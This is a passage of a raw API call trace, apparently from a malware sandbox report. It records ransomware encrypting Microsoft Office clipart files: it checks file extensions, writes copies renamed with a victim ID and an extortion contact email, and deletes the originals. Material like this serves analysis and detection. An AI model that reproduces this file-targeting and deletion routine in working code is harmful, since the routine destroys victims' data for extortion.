(lpString1=".doc", lpString2=".WMF") returned -1 [0089.510] lstrlenW (lpString=".docx") returned 5 [0089.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.510] lstrlenW (lpString=".pdf") returned 4 [0089.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.510] lstrlenW (lpString=".xls") returned 4 [0089.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.510] lstrlenW (lpString=".xlsx") returned 5 [0089.510] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.510] lstrlenW (lpString=".ppt") returned 4 [0089.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0089.510] lstrlenW (lpString=".zip") returned 4 [0089.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.510] lstrlenW (lpString=".rar") returned 4 [0089.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.510] lstrlenW (lpString=".bz2") returned 4 [0089.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.510] lstrlenW (lpString=".7z") returned 3 [0089.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0089.510] lstrlenW (lpString=".dbf") returned 4 [0089.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0089.511] lstrlenW (lpString=".1cd") returned 4 [0089.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0089.511] lstrlenW (lpString=".jpg") returned 4 [0089.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.511] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.511] lstrlenW (lpString="HH02282_.WMF") returned 12 [0089.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0089.511] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=7932) returned 1 [0089.511] CloseHandle (hObject=0x39c) returned 1 [0089.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220 [0089.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0089.512] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.512] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0089.512] GetLastError () returned 0x0 [0089.512] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1efc, lpOverlapped=0x0) returned 1 [0089.513] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1f00, lpOverlapped=0x0) returned 1 [0089.514] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.514] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.515] SetEndOfFile (hFile=0x370) returned 1 [0089.515] CloseHandle (hObject=0x370) returned 1 [0089.515] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.515] SetEndOfFile (hFile=0x39c) returned 1 [0089.516] CloseHandle (hObject=0x39c) returned 1 [0089.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0089.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0089.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0089.516] lstrlenW (lpString=".doc") returned 4 [0089.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.516] lstrlenW (lpString=".docx") returned 5 [0089.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.516] lstrlenW (lpString=".pdf") returned 4 [0089.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.516] lstrlenW (lpString=".xls") returned 4 [0089.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.516] lstrlenW (lpString=".xlsx") returned 5 [0089.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.516] lstrlenW (lpString=".ppt") returned 4 [0089.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0089.517] lstrlenW (lpString=".zip") returned 4 [0089.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.517] lstrlenW (lpString=".rar") returned 4 [0089.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.517] lstrlenW (lpString=".bz2") returned 4 [0089.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.517] lstrlenW (lpString=".7z") returned 3 [0089.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0089.517] lstrlenW (lpString=".dbf") returned 4 [0089.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0089.517] lstrlenW (lpString=".1cd") returned 4 [0089.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0089.517] lstrlenW (lpString=".jpg") returned 4 [0089.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0089.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0089.517] lstrlenW (lpString=".doc") returned 4 [0089.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.517] lstrlenW (lpString=".docx") returned 5 [0089.517] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.517] lstrlenW (lpString=".pdf") returned 4 [0089.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.517] lstrlenW (lpString=".xls") returned 4 [0089.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.517] lstrlenW (lpString=".xlsx") returned 5 [0089.517] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.517] lstrlenW (lpString=".ppt") returned 4 [0089.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0089.517] lstrlenW (lpString=".zip") returned 4 [0089.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.518] lstrlenW (lpString=".rar") returned 4 [0089.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.518] lstrlenW (lpString=".bz2") returned 4 [0089.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.518] lstrlenW (lpString=".7z") returned 3 [0089.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0089.518] lstrlenW (lpString=".dbf") returned 4 [0089.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0089.518] lstrlenW (lpString=".1cd") returned 4 [0089.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0089.518] lstrlenW (lpString=".jpg") returned 4 [0089.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.518] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.518] lstrlenW (lpString="HH02298_.WMF") returned 12 [0089.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0089.518] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=5552) returned 1 [0089.518] CloseHandle (hObject=0x39c) returned 1 [0089.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220 [0089.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0089.519] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.519] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0089.519] GetLastError () returned 0x0 [0089.519] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x15b0, lpOverlapped=0x0) returned 1 [0089.869] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x15c0, lpOverlapped=0x0) returned 1 [0089.870] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.870] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.871] SetEndOfFile (hFile=0x370) returned 1 [0089.871] CloseHandle (hObject=0x370) returned 1 [0089.871] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.871] SetEndOfFile (hFile=0x39c) returned 1 [0089.875] CloseHandle (hObject=0x39c) returned 1 [0089.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0089.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0089.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0089.876] lstrlenW (lpString=".doc") returned 4 [0089.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.876] lstrlenW (lpString=".docx") returned 5 [0089.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.876] lstrlenW (lpString=".pdf") returned 4 [0089.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.876] lstrlenW (lpString=".xls") returned 4 [0089.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.876] lstrlenW (lpString=".xlsx") returned 5 [0089.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.876] lstrlenW (lpString=".ppt") returned 4 [0089.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0089.876] lstrlenW (lpString=".zip") returned 4 [0089.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.876] lstrlenW (lpString=".rar") returned 4 [0089.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.876] lstrlenW (lpString=".bz2") returned 4 [0089.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.876] lstrlenW (lpString=".7z") returned 3 [0089.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0089.876] lstrlenW (lpString=".dbf") returned 4 [0089.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0089.876] lstrlenW (lpString=".1cd") returned 4 [0089.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0089.876] lstrlenW (lpString=".jpg") returned 4 [0089.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0089.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0089.877] lstrlenW (lpString=".doc") returned 4 [0089.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.877] lstrlenW (lpString=".docx") returned 5 [0089.877] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.877] lstrlenW (lpString=".pdf") returned 4 [0089.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.877] lstrlenW (lpString=".xls") returned 4 [0089.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.877] lstrlenW (lpString=".xlsx") returned 5 [0089.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.877] lstrlenW (lpString=".ppt") returned 4 [0089.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0089.877] lstrlenW (lpString=".zip") returned 4 [0089.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.877] lstrlenW (lpString=".rar") returned 4 [0089.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.877] lstrlenW (lpString=".bz2") returned 4 [0089.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.877] lstrlenW (lpString=".7z") returned 3 [0089.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0089.877] lstrlenW (lpString=".dbf") returned 4 [0089.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0089.877] lstrlenW (lpString=".1cd") returned 4 [0089.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0089.877] lstrlenW (lpString=".jpg") returned 4 [0089.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.051] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.051] lstrlenW (lpString="J0086428.WMF") returned 12 [0090.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.052] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=35346) returned 1 [0090.052] CloseHandle (hObject=0x39c) returned 1 [0090.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220 [0090.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.052] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.052] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0090.053] GetLastError () returned 0x0 [0090.053] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x8a12, lpOverlapped=0x0) returned 1 [0090.055] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x8a20, lpOverlapped=0x0) returned 1 [0090.056] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.056] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.056] SetEndOfFile (hFile=0x370) returned 1 [0090.056] CloseHandle (hObject=0x370) returned 1 [0090.056] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.056] SetEndOfFile (hFile=0x39c) returned 1 [0090.058] CloseHandle (hObject=0x39c) returned 1 [0090.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0090.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0090.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0090.058] lstrlenW (lpString=".doc") returned 4 [0090.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.058] lstrlenW (lpString=".docx") returned 5 [0090.058] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0090.058] lstrlenW (lpString=".pdf") returned 4 [0090.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.058] lstrlenW (lpString=".xls") returned 4 [0090.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.058] lstrlenW (lpString=".xlsx") returned 5 [0090.058] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0090.058] lstrlenW (lpString=".ppt") returned 4 [0090.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0090.058] lstrlenW (lpString=".zip") returned 4 [0090.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.058] lstrlenW (lpString=".rar") returned 4 [0090.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.059] lstrlenW (lpString=".bz2") returned 4 [0090.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.059] lstrlenW (lpString=".7z") returned 3 [0090.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0090.059] lstrlenW (lpString=".dbf") returned 4 [0090.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0090.059] lstrlenW (lpString=".1cd") returned 4 [0090.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0090.059] lstrlenW (lpString=".jpg") returned 4 [0090.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0090.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0090.059] lstrlenW (lpString=".doc") returned 4 [0090.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.059] lstrlenW (lpString=".docx") returned 5 [0090.059] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0090.059] lstrlenW (lpString=".pdf") returned 4 [0090.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.059] lstrlenW (lpString=".xls") returned 4 [0090.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.059] lstrlenW (lpString=".xlsx") returned 5 